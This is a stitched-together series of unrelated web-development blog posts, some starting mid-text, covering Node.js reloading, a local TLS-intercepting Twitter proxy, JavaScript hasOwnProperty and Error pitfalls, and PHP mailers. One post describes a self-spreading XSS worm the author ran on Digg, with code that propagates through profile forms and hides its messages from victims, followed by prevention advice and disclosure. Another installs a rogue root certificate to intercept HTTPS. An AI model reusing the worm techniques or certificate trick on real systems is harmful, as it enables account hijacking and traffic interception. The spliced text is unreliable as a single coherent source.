This “problem” is rooted of course in significantly different architectures. In the case of, for example, PHP applications we traditionally separate the role of the web server and request handler. The monolithic web server maps incoming requests to the execution of particular files in the file system, which become our handlers.

In most setups, the web server is mostly limited to inspecting two pieces of a HTTP request: the resource (like /test.php) and the Host header (like www.mydomain.com) for virtual hosts (vhosts) support.

GET /test.php HTTP/1.1
Host: www.mydomain.com

With this in place, it’s up to the execution of the “test.php” file to handle the work and produce the response. If we change this file, even while other requests are ongoing, subsequent requests will be handled by our new code.

In Node.JS, this separation is not part of the core design. You write your web server and requests handlers as part of the same unit. This of course is the result of a tradeoff: Node.JS offers complete control over how the entire system operates, allowing programmability of aspects beyond the execution of a request. This includes for example, control over the connections that trigger the requests, easy awareness of other connections/requests, and other details that made the development of software like Socket.IO possible.

var server = require('http').createServer(onRequest);
server.listen(80);

function onRequest (req, res) {
  res.writeHead(200);
  res.end('Hello world');
});

The need for seamless code reloads extends into the realm of production deployment as well: one needs to be able to serve new requests with fresh code immediately, without breaking existing ones (such as file uploads or content transfer).

The up solution

Over at LearnBoost, we’ve solved these problems with two small projects: distribute and up.

In order to reload code without dropping requests, no changes to a codebase are needed other than ensuring that there’s a file that exports a http.Server as a module (let’s call it server.js).

  var server = require('express').createServer();
  // … code
  module.exports = server;

Then, during development you can leverage up from the CLI:

$ up --watch --port 8080 server.js

The --watch flag will watch the working directory for changes. up will start workers to handle the requests, and reload them seamlessly. Alternatively, one can also do this programmatically. In the following example I listen on the SIGUSR2 signal to trigger a reload, which allows for easy interoperability between components.

var up = require('up')
  , master = http.createServer().listen(8080)

var srv = up(master, __dirname + '/server');

process.on('SIGUSR2', function () {
  srv.reload();
});

The power to distribute

The server returned by up builds on top of another LearnBoost project called distribute, which leverages node-http-proxy by NodeJitsu

The idea is simple: we can handle requests to be proxied in a middleware-style API. This allows us to solve, for example, the lack of multiple VHosts:

var httpServer = require('http').createServer()
  , srv = require('distribute')(httpServer);

httpServer.listen(80);

srv.use(function (req, res, next) {
  if ('blog.learnboost.com' == req.headers.host) {
    next(3500); // port 3500
  } else {
    next(3000); // otherwise port 3000
  }
});

And since it’s possible to re-use and chain multiple middleware functions together, it provides a proven foundation for code re-usability. In fact, it’s possible to leverage existing Express/Connect middleware like query string or cookie parsing, should a certain proxying function need it.

Head to GitHub for the projects, or find them on NPM as distribute and up. And stay tuned for an upcoming distribute middleware component release.

I’ve been waiting for a while for mainstream Twitter clients to allow keyword or pattern based filtering, and when I realized people were starting to tweet about the 49ers the night before the game, I decided to finally address it myself.

The technique I’m going to describe consists in setting up a proxy to the Twitter API that lives in our computer, powered by Node.JS, that filters back responses based on arbitrary rules we setup. Not only does this give us the flexibility of using JavaScript, but it also means it will work with any Twitter client that leverages the API transparently. Yes, this includes the Twitter website!

The premises

Before we begin, we must fully understand how the majority of Twitter desktop (and mobile) clients work.

1. The app first needs to authenticate the user. Two methods can be used:

   OAuth: relies on the user going to a web page that grants access.
   
   XAuth: asks for user and password. This is the most practical method of authentication for a custom client, and this is the technique that Twitter for Mac uses.

2. Once this authorization is successful, the Twitter client will make HTTP requests to the Twitter API (located at api.twitter.com). In order to make these requests on behalf of the user, it must first sign them. To sign a request means to add an Authorization header that’s created with a token obtained on step 1.
3. Just like any other application that leverages the API, the Twitter client will then exchange content in some format (XML or JSON).

Our plan of action

1. We’ll leverage the internal DNS lookup system (/etc/hosts) to override api.twitter.com and make it point to a Node.JS server hosted locally.
2. Since the Twitter client will attempt to connect to our overridden IP over port 443, we’ll set up a “second” loopback interface 127.0.0.2. This will prevent our Twitter hack from getting in the way of your projects and apps that try to serve traffic on port 443.
3. To bypass SSL security checks in the client, we’ll set up a new root certificate for our computer that validates 127.0.0.2 claims that it is api.twitter.com.
4. We’ll forward all requests to Twitter, but we’ll capture the response of the timeline one to execute our filters.
5. We’ll expose a middleware API for filters to be setup.

Forwarding api.twitter.com

Redirecting api.twitter.com to 127.0.0.2 is as straightforward as editing /etc/hosts:

∞ ~ sudo sh -c "echo '127.0.0.2 api.twitter.com' >> /etc/hosts"
∞ ~ tail -n 1 /etc/hosts
127.0.0.2 api.twitter.com

There’s no place like 127.0.0.2

Our plan is to capture all the HTTPS traffic going to api.twitter.com over port 443, by forwarding it to 127.0.0.2. To accomplish this, we must first make that IP resolve to our loopback interface.

On OS X, we can accomplish this by aliasing it to lo0:

∞ ~ sudo ifconfig lo0 alias 127.0.0.2

As a result, we can now bind to port 443 over distinct IP addresses. As a test, you can run the following Node programs (with sudo):

require('http').createServer(function (req, res) {
  res.writeHead(200);
  res.end('welcome to 127.0.0.1:80');
}).listen(80, '127.0.0.1');

require('http').createServer(function (req, res) {
  res.writeHead(200);
  res.end('welcome to 127.0.0.2:80');
}).listen(80, '127.0.0.2');

Pointing your browser to http://127.0.0.1 and http://127.0.0.2 will yield different responses.

Port 443 or port 3000?

In our previous Node servers examples, binding to port 80 forced us to use sudo, since it’s considered a privileged port. We can skip this every time we need to run our server by forwarding the traffic destined to port 443 over 127.0.0.2 to the unprivileged port 3000:

∞ ~ sudo ipfw add fwd 127.0.0.2,3000 tcp from any to 127.0.0.2 443 in

As a result, we can now run code like this (notice I run listen() with 3000)

function read (file) { return require('fs').readFileSync(__dirname + '/' + file, 'utf8'); };
require('https').createServer({
    key: read('key.key')
  , cert: read('cert.crt')
}, function (req, res) {
  res.writeHead(200);
  res.end('welcome to ' + req.headers.host + ' bound to 127.0.0.2:3000');
}).listen(3000, '127.0.0.2');

But still point our browser to https://api.twitter.com, just like the Twitter client will do:

For this example, I used self signed certificates that will trigger a security warning. You can download this example from here.

Hacking SSL

At this point, not only will our Twitter client be unable to make any requests (since we’re not proxying them yet), but it will be refuse to establish any connection at all, due to the SSL checks:

The client is onto us! Stop SOPA!

Thankfully, it’s fairly for us to create a new certificate Root (like VeriSign), then generate a certificate request that we sign our own Twitter certificate with. If we then install the root certificate at the system level, the Twitter client and browsers will recognize it as legitimate.

We start by creating our root. For this, we can leverage a perl script that ships with OpenSSL. We also first create a ~/root directory where all the generated files will be kept:

 ∞ ~ mkdir ~/root
 ∞ ~ cd ~/root/
 ∞ root perl /System/Library/OpenSSL/misc/CA.pl -newca

This will ask a series of questions, most of which you can respond with the default value. Set the passphrase when asked. When it asks for a Common Name, set it to something easily identifiable like “Guillermo”, in case you want to remove the root certificate in the future from your system.

The result will be the creation of a directory called demoCA, which contains the root certificate database.

Now that we rolled our own VeriSign, we want to do what we normally do when we get real certificates for our websites. Generate a key, generate a signing request and sign it ourselves:

 ∞ root openssl genrsa 1024 > api.twitter.com.key
Generating RSA private key, 1024 bit long modulus
....++++++
.......++++++
e is 65537 (0x10001)
 ∞ root openssl req -new -key api.twitter.com.key -out newreq.pem

The second command will again ask a series of questions. The only one that matters is the Common Name. Set it to api.twitter.com

Our friend the perl script can also aid in the process of signing a request file (in this case newreq.pem).

 ∞ root perl /System/Library/OpenSSL/misc/CA.pl -sign

The signature process is very difficult and gruesome and that’s why certificates are very expensive: type in your passcode, write y and press enter.

The signature process will yield a file newcert.pem, which we want to rename to api.twitter.com.crt to easily identify it.

We now have the .key and .crt files that we’ll give to our Node web server. But before we let the Twitter client attempt a connection, we install the root certificate located at ~/root/demoCA by double-clicking it:

Proxying

Let’s try setting up our newly signed certificate and outputting our incoming requests.

require('https').createServer({
    key: read('api.twitter.com.key')
  , cert: read('api.twitter.com.crt')
}, function (req, res) {
  console.error(' - \033[96m%s\033[90m %s\033[39m'
    , req.method, req.url);
  res.writeHead(500);
  res.end();
}).listen(3000, '127.0.0.2');

If we run our server and relaunch Twitter for mac, we should see the requests flowing in:

Our own Twitter client now trusts us! And since we're replying with status code 500, it reflects it:

Our proxying strategy is as follows:

1. We capture all requests.
2. We create new requests (using superagent) that we send to twitter over their IP (since api.twitter.com resolves to our own computer).
3. To avoid dealing with gzip, we want to re-write the responses to not include Content-Encoding. Ideally we'd also re-write the request to exclude Accept-Encoding, but this would invalidate the OAuth signature.
4. When the response comes back, we send it back unless it targets the home_timeline API endpoint.
5. For timeline requests, we parse the XML, we filter or change what we want, we re-encode it and send it back. Since we're changing the response body, some headers will need to be altered, like Content-Length.

Re-writing

To illustrate the rewriting process, consider this example in which we replace all our tweets with the text "haha":

The first thing we want to do is detect the requests for the home_timeline.xml endpoint:

// detect timeline xml request
var filter = /home_timeline\.xml/.test(req.url);

Then, we want to buffer all the request data for the incoming request:

var data = '';
req.on('data', function (chunk) { data += chunk; });
req.on('end', function () {
  // …
});

We finally create our new request, and parse the XML with the excellent libxmljs by Marco Rogers.

var proxy = request[req.method.toLowerCase()]
  ('https://199.59.149.232' + req.url)

if (data) proxy.send(data);

proxy.end(function (apiRes) {
  // delete content-encoding
  delete apiRes.headers['content-encoding'];

  // parse xml
  if (200 == apiRes.status && filter) {
    var doc = libxml.parseXmlString(apiRes.text);
    doc.find('//text').forEach(function (node, i) {
      node.text('haha');
    });
    proxy(doc.toString());
  } else {
    proxy(apiRes.text);
  }

  function proxy(text) {
    // rewrite content-length
    apiRes.headers['content-length'] = text.length;
    res.writeHead(apiRes.status, apiRes.headers);
    res.end(text);
  }
});

This is a slightly over-simplified example. In reality, in order for the OAuth signature to stay valid we need to proxy the headers exactly as we receive them. Node.JS unfortunately lowercases all headers, and drops the original strings. I performed the following replacement to try to restore them to their originals based on convention:

for (var i in req.headers) {
  var h = i.replace(/^[a-z]|-[a-z]/g, function (a) {
    return a.toUpperCase();
  });
  proxy.set(h, req.headers[i]);
}

In part II I’ll describe the creation of the API that lives on top of the proxy to ease on the tweet re-writing and filtering process exposed to the end user through a NPM module.

The problem boils down to the usage of {} as a data-structure where the keys are supplied by untrusted user input, and the mechanisms that are normally used to assert whether a key exists.

Consider the example of a simple blog created with Express. We decide to store blog posts in memory in a {}, indexed by the blog post slug. For example, this blog post would be posts['an-object-is-not-a-hash'].

We start writing the route /create, which takes a few POST fields like “title” and “slug” and passes it to a Post constructor.

var posts = {};

app.post('/create', function (req, res) {
  if (req.body.title && req.body.slug) {
    // avoid duplicates
    if (!posts[req.body.slug]) {
      posts[req.body.slug] = new Post(req.body);
      res.send(200);
    } else {
      res.send(500);
    }
  }
});

Our first stab for trying to avoid duplicates is checking whether the key exists in our object.

    if (!posts[req.body.slug]) {

Normally this would work fine, but let’s consider that the user could pick any of the keys that are present in any JavaScript object as a name:

 __defineGetter__       __defineSetter__          valueOf
 __lookupGetter__       __lookupSetter__
constructor             hasOwnProperty
isPrototypeOf           propertyIsEnumerable
toLocaleString          toString

If the user wanted to, for example, name his blog post "constructor" our program would behave incorrectly. We therefore change our code to leverage hasOwnProperty, which will allows to check whether the property has been set by us:

  if (!posts.hasOwnProperty(req.body.slug)) {
    posts[req.body.slug] = new Post(req.body);
    res.send(200);
  }

Most JavaScript programmers are already familiar with hasOwnProperty, since in the browser world it’s the standard way of writing libraries that work well in environments where Object.prototype is modified, so this addition should come to most as no surprise.

The hasOwnProperty trap

Our program, however, is still susceptible to potential misbehaving. Let’s say our user decides to call his blog post "hasOwnProperty". The first time our check executes, everything will behave correctly, since the check will return false:

 ∞ ~ node
> var a = {};
> a.hasOwnProperty('hasOwnProperty')
false

Our code would therefore set the hasOwnProperty value in our object to the Post instance, which is an object. We can now simulate what would happen if the user tries that again:

> a.hasOwnProperty = {}
{}
> a.hasOwnProperty('hasOwnProperty')
TypeError: Property 'hasOwnProperty' of object #<Object> is not a function
    at [object Context]:1:3

As a result:

• Our code would throw a (potentially) uncaught exception.
• Execution of our /create route would be aborted and response would not be sent to the user.
• The request would be left hanging until it times out on both ends.

The solution to this problem is to avoid relying on the “hasOwnProperty” provided by the object we’re dealing with, and use the generic one from the Object.prototype. If we execute it on our test subject, true will be returned after we set it as expected:

> Object.prototype.hasOwnProperty.call(a, 'hasOwnProperty')
true

Conclusions

The first conclusion from this experiment is that from the moment we decide to use a JavaScript object as a general-purpose hash table we can no longer rely on any of its inherited properties, specially hasOwnProperty (which we’re normally bound to use). This oversight, as a matter of fact, afflicted the Node.JS core querystring library in the past.

If your code relies heavily on data structures where the possibility for collisions like this exist, you might want to consider having a has utility around:

function has (obj, key) {
  return Object.prototype.hasOwnProperty.call(obj, key);
}

And use it as follows:

  if (has(posts, req.body.slug)) { }

As a side note, you should generally stick to this method in the browser environment as well. Host objects such as window in older Internet Explorer versions do not have hasOwnProperty, leading to potentially inconsistent behavior in your code.

As correctly pointed out by different comments and tweets, another possibility surfaces in Node.JS:

  var posts = Object.create(null);

This will yield an object with a null prototype, which therefore does not inherit any methods, and would simplify our code to look like the original example:

    if (!posts[req.body.slug]) {}

Finally, a hashing scheme such as a prefix could do the job as well:

    if (!posts['posts-' + req.body.slug]) {
      posts['posts-' + req.body.slug] = new Post(req.body);
    }

// A:
function myFunction () {
  if (somethingWrong) {
    throw 'This is my error'
  }
  return allGood;
}

and

// B: async Node.JS-style callback with signature `fn(err, …)`
function myFunction (callback) {
  doSomethingAsync(function () {
    // …
    if (somethingWrong) {
      callback('This is my error')
    } else {
      callback(null, …);
    }
  });
}

In both cases, passing a string instead of an error results in reduced interoperability between modules. It breaks contracts with APIs that might be performing instanceof Error checks, or that want to know more about the error.

Error objects, as we’ll see, have very interesting properties in modern JavaScript engines besides holding the message passed to the constructor.

The stack property

The fundamental benefit of Error objects is that they automatically keep track of where they were built and originated.

The mechanism of how this happens is specific to each JavaScript engine and/or browser that implements it.

V8 (Node.JS)

The way that V8 handles this, which directly affects us who develop in Node.JS is described by the StackTraceApi document.

We can test its behavior by simply initializing a Error object and inspecting its stack property:

// error.js
var err = new Error();
console.log(typeof err.stack);
console.log(err.stack);

∞ node error.js
string
Error
    at Object.<anonymous> (/private/tmp/error.js:2:11)
    at Module._compile (module.js:411:26)
    at Object..js (module.js:417:10)
    at Module.load (module.js:343:31)
    at Function._load (module.js:302:12)
    at Array.0 (module.js:430:10)
    at EventEmitter._tickCallback (node.js:126:26)

As you can see, even without throwing or passing it around, V8 is able to tell us exactly where that object was created, and how it got there.

By default, V8 limits the stack trace size to 10 frames. You can alter this by changing the Error.stackTraceLimit during runtime.

Error.stackTraceLimit = 0; // disables it
Error.stackTraceLimit = Infinity; // disables any limit

Custom Errors

If you wanted to extend the native Error object so that stack collection is preserved, you can do so by calling the captureStackTrace function. This is an example extracted from the Mongoose ODM

function MongooseError (msg) {
  Error.call(this);
  Error.captureStackTrace(this, arguments.callee);
  this.message = msg;
  this.name = 'MongooseError';
};

MongooseError.prototype.__proto__ = Error.prototype;

The second argument passed to the captureStackTrace prevents unnecessary noise in the stack generation by hiding the MongooseError constructor calls from the stack.

Beyond stack strings

As you might have noticed in my previous code example, I purposedly printed the typeof of the stack property. As it turns out, it’s a regular String with a format optimized for readability.

V8, much like Java, allows complete runtime introspection of the stack. Instead of a string, we can access an array of CallSites that retain as much information as possible about the function call in the stack, including the object scope (this).

In this example, we override the prepareStackTrace function to access this raw array and examine it. We call `getFileName` and other methods on each CallSite (all the available methods are described here)

function a () {
  b();
}

function b () {
  var err = new Error;

  Error.prepareStackTrace = function (err, stack) {
    return stack;
  };

  Error.captureStackTrace(err, b);

  err.stack.forEach(function (frame) {
    console.error(' call: %s:%d - %s'
      , frame.getFileName()
      , frame.getLineNumber()
      , frame.getFunctionName());
  });
}

a();

This is an example of the output this script produces:

∞ node error-2.js
call: /private/tmp/error-2.js:3 - a
call: /private/tmp/error-2.js:23 -
call: module.js:432 - Module._compile
call: module.js:450 - Module._extensions..js
call: module.js:351 - Module.load
call: module.js:310 - Module._load
call: module.js:470 - Module.runMain
call: node.js:192 - startup.processNextTick.process._tickCallback

All this functionality would of course be non-existent if we were to pass around strings, therefore drastically shrinking our debugging panorama.

For real-world usage, restoring the original prepareStackTrace after overriding it is probably a good idea. Thankfully, TJ Holowaychuck has released a tiny callsite module to make this painless.

Browsers

Like the V8 document states:

The API described here is specific to V8 and is not supported by any other JavaScript implementations. Most implementations do provide an error.stack property but the format of the stack trace is likely to be different from the format described here

• Firefox exposes error.stack. It has its own format.
• Opera exposes error.stacktrace. It has its own format.
• IE has no stack.

A very interesting solution to this is provided by javascript-stacktrace, which attempts to normalize a printed stack trace across all browsers.

On IE (and older versions of Safari), for example, it uses a clever method: it recursively looks for the caller property of a function, calls toString on it and parses out the function name.

var currentFunction = arguments.callee.caller;
while (currentFunction) {
  var fn = currentFunction.toString();
  var fname = fn.substring(fn.indexOf("function") + 8, fn.indexOf('')) || 'anonymous';
  callstack.push(fname);
  currentFunction = currentFunction.caller;
}

Conclusions

• When doing async I/O (in Node.JS or otherwise), since throwing is not a
  possibility (as it results in uncaught exceptions), Errors are the only way to
  allow proper stack trace collection.
• Even in non-V8 browser environments, it’s probably a good idea to still initialize
  Errors. The API exists in all browsers, and the extended API facilities that V8
  provides are bound to be available to most engines in the future.
• If you’re throwing or passing around strings for errors, consider switching today!

The examples in the beginning of the post can thus be rewritten this way:

// A:
function myFunction () {
  if (somethingWrong) {
    throw new Error('This is my error')
  }
  return allGood;
}

and

// B: async Node.JS-style callback with signature `fn(err, …)`
function myFunction (callback) {
  doSomethingAsync(function () {
    // …
    if (somethingWrong) {
      callback(new Error('This is my error'))
    } else {
      callback(null, …);
    }
  });
}

What is DBSlayer?

The DBacesslayer aka DBSlayer is a lightweight database abstraction layer suitable for high-load websites where you need the scalable advantages of connection pooling. Written in C for speed, DBSlayer talks to clients via JSON over HTTP, meaning it’s simple to monitor and can swiftly interoperate with any web framework you choose.

Developed by the New York Times to distribute the load of their MySQL servers, DBSlayer allows us to perform queries in a non-blocking way. Running a SQL query is as simple as:

connection.query("SELECT * FROM TABLE").addCallback(function(result){
	for (var i = 0, l = result.ROWS.length; i < l; i++){
		var row = result.ROWS[i];
		// do something with the data
	}
});

Have fun!

I’ll also examine the alternative of implementing OpenID as the sole login provider of a website, and how it becomes the most suitable option for the majority of scenarios today.

An introduction

In this article we’ll consider a login form or website non-secure when sensitive data (for example, but not limited to, emails, passwords, private messages, credit cards information) is transmitted across a digital network without a strong encryption mechanism in place. In the majority of cases, this means transmitting data from one end to the other in Plaintext, using the HTTP protocol instead of HTTPS.

A reality check: for users

One of the first concerns for users of non-secure websites should be network sniffing. With an utility such as Wireshark (formerly known as ethereal), an attacker can easily intercept and read packages that contain plaintext data.

This could be anything from chat conversations, or that password you’re sending to a non-SSL site. When you sign up for a website that doesn’t implement https remember to use a new, unique and discardable password. Never use the same password more than once!

A reality check: for webmasters

With open wireless telecommunication becoming more popular every day, network eavesdropping gets easier and more appealing for attackers. Websites that do not protect their users data will become easy targets for electronic identity theft and other opportunistic crimes.

Most login forms we find today offer no SSL support for sensitive data transmissions. Just browse to your favorite startup or Twitter mashup to see how much they protect your information. Even extremely popular websites such as Digg, Slashdot, StumbleUpon, Hi5, Reddit, Justin.TV, Washington Post, Forbes, Xanga fail to protect your authentication information.

All it takes to fix your login forms is to add support for the HTTPS protocol to your web server of choice. Most popular web hosting providers already support it, yet few people take advantage of it.

One of the reasons people are reluctant to build-in SSL is the requirement of a certificate signed by a trusted authority. But it’s a really small price, that pays back with a lot of benefits for your organization.

The JavaScript alternative

You can make your non-secure forms a little more secure by creating a SHA1 hash before the form is sent, instead of sending the plaintext password.

However, this technique, which is implemented by vBulletin for example, has its downsides:

• Only makes it more secure for Javascript-enabled user agents
• It’s not an encryption method, so it’ll only be useful for login forms, and not for emails, private messages, credit cards, etc

The OpenID Alternative

The OpenID Authentication 2.0 specification takes into consideration the security threats described previously, and the suggested solution is evident:

While the protocol does not require SSL be used, its use is strongly RECOMMENDED. Current best practices dictate that an OP SHOULD use SSL, with a certificate signed by a trusted authority, to secure its Endpoint URL as well as the interactions with the end user’s User-Agent.

While it’s clear that SSL is optional in the authentication transactions, the following sentence is of interest to us:

Following its own security policies, a Relying Party MAY choose to not complete, or even begin, a transaction if SSL is not being correctly used at these various endpoints.

If OpenID is implemented, it’s almost guaranteed for the website owner that the user’s login information will be protected. The main reason is that the majority of popular OpenID providers respect the security considerations listed in the specification. The attacker can still intercept authentication data if you don’t have SSL in the callback page that OpenId forwards the user to, but all he could potentially get is a random token and not the password itself.

Conclusion

The potential security issues of websites form authentication are varied, and encryption is only a tiny part of the solution. Securing users login should be one of the top priorities in web makers agendas. People value the data and history they’ve created in the websites they like, and it can be pretty disappointing to lose it all because the creator decided it was worth investing more time in refining the website’s gradient backgrounds rather than implementing SSL.

try
{
  $mailer = new Swift(new Swift_Connection_NativeMail());
  $message = new Swift_Message('The subject', 'The body html', 'text/html');
  $mailer->send($message, 'to@user.com', 'noreply@company.com');
  $mailer->disconnect();
}
catch (Exception $e)
{
  $mailer->disconnect();
}

However, due to API changes in Swift 4, that would have thrown an error:

Fatal error: Cannot instantiate abstract class Swift in /[...]/apps/frontend/modules/[...]/actions/actions.class.php on line 40

It turns out that now the class Swift is defined as abstract, which means it can’t be instantiated. Now, classes that you used to instantiate directly, like Swift_Message, have been added factory methods called newInstance

require_once('lib/vendor/swift/swift_init.php'); # needed due to symfony autoloader
$mailer = Swift_Mailer::newInstance(Swift_MailTransport::newInstance());
$message = Swift_Message::newInstance('The subject')
         ->setFrom(array('noreply@company.com' => 'Mailer Name'))
         ->setTo(array('email@email.com' => 'Name Lastname'))
         ->setBody('The body html', 'text/html');
$mailer->send($message);

Remember that it’s good practise to get the body HTML from a partial, instead of hardcoding it into the action.

$mailBody = $this->getPartial('emailPartial', array(/* parameters */));
// ...
->setBody($mailBody, 'text/html');

The code has become a lot more readable, easier to customize and write.
More information here and here.

Encoding and decoding is a simple as this:

$s = new PHPShortener();
// encode a long url
$shorturl = $s->encode('http://devthought.com/projects/php/phpshortener/', 'is.gd');
// decode a short url (autodetects the service)
$longurl = $s->decode('http://tr.im/jBBp');

Head to the project page for downloads and documentation. Fork me on GitHub if you want to contribute!

Half an hour later, I had a working worm ready to infect everyone that saw my profile page, which also would propagate to theirs.

Locating the vulnerability

XSS vulnerabilities are quite ironic nowadays. Everyone knows about them, almost everyone knows what their most frequent form is, but few seem to test for them or implement systems to avoid them.

The most common form of a XSS exploit scenario is that in which the attacker manages to store malicious code in the host, which when shown is not escaped properly and is thus executed. On Digg, all it took me was to insert a <script> tag in the “About me” textarea.

Less known forms of XSS exploits involve other pathways through which the user sends information:

• Request headers. A malicious user, like Al Capone or Mikeyy, could alter the User Agent or Referer, for example, to store malicious code.
• Query string. Commonly known as the PHP_SELF bug, the vulnerable sites are those which print out the request URL without escaping it. For example, if a programmer decides to populate the a <form action=""> with the unsanitized request URL, an attacker could inject code that can be conveniently distributed with URL shortening services.

It’s also important to remember that preventing XSS exploits is not about escaping < or > alone. I recommend checking out this cheatsheet for a comprehensive list of possible, real-world attacks.

Exploiting it

The exploit code is only anecdotally interesting. I do not encourage anyone to start testing random websites and injecting harmful JavaScript.

The attack plan is as follows

1. Check the user is logged in, by checking for the absence of a login link.

   if ($('#header-login').attr('href')) return;
   	

2. Propagate the script by retrieving the profile edit details form and ajaxly submitting it.

   $.ajax({url: 'http://digg.com/settings/about', dataType: 'html', success: function(doc){
   	// ...
   	$.ajax({url: 'http://digg.com/settings/about', data: form.serialize(), type: 'POST'});
   	// ...
   }});
   	

3. We disable the Digg Bar by posting to http://digg.com/settings/viewing. This time we don’t really need to retrieve the whole form, because we already have the magic token that prevents CSRF attacks
4. We shout to friends to check out our profile. When a friend is infected, the <script> tag also holds the information of the scripter, so that the victim doesn’t shout back, which could raise suspicions that something fishy is going on.

5. We also store the created shouts ids in a cookie, to hide them from the user view as soon as the script loads and avoid users seeing weird shouts they didn’t voluntarily send.

   var shouts = $.cookie('shouts'), shoutedTo = [], shoutIds = [];
   if (shouts) {
   	shouts = shouts.split(',');
   	$(shouts).each(function(i, code){
   		code = code.split('|');
   		shoutIds.push(code[0]); shoutedTo.push(code[1]);
   		document.write('
   
   
   ');
   	});
   	document.write('
   
   
   ');
   }
   	

Additionally, I set up a callback page and a very basic form of cross-domain requests (using images) ((Keep in mind that, for security reasons, XMLHttpRequest would not allow me to communicate with my server from digg.com. I thus used (new Image).src to ping the script I set up.)) to inform me of the success of the different stages of the worm (infection, bar disabling, propagation) for each user.

Check out the full script here.

Preventing it

First of all, it’s important to constantly keep in mind that user-supplied information should be untrusted. Whenever you input or output information that was originated by a 3rd party, extra caution should be taken.

For PHP developers, preventing XSS exploits usually means passing all user-supplied info through the htmlentities() function. The caution part is not a cliche, or a meaningless recommendation. It might be obvious for you, as a developer, to escape $_POST['value'] but escaping $_SERVER['HTTP_USER_AGENT'] takes undoubtedly more attention.

The Symfony framework provides one of the arguably most elegant solutions to this problem, with its built-in XSS protection, virtually transparent to the developer. Learn more about this method.

Conclusion

I enabled the worm on Digg to try it out with my friends, and it quickly began to spread. After succeeding and collecting about 20 users, I quickly commented it out and let the Digg crew know. Jen Burton, the community manager, responded really quickly, and within an hour or two ((Unlike Twitter)) they had fixed the bug and updated the production site.

The natural solution for these scenarios is a NFS mount, so that the content can be distributed across a network, which gives your application virtually limitless storage capacity. Joyent provides this service reliably.

The biggest challenge was to minimize the downtime, so these were the steps we took:

1. Move all current files to the NFS mount to clear up disk space

2. Override the sf_upload_dir configuration directive. In settings.yml

   all:
          upload_dir:      /nfsmount/site/uploads
   

3. Adjust the Apache VHost configuration with an alias that points outside the DocumentRoot (hence the need for a special <Directory>)

   Alias /uploads /nfsmount/site/uploads
   
          Order allow,deny
          Allow from all
   
   

4. Clear symfony cache and reload Apache. If your application is well-written, the change should be transparent to all the modules that deal with file uploads.

5. Use cp -uvR to make sure no images were left out from the initial copy.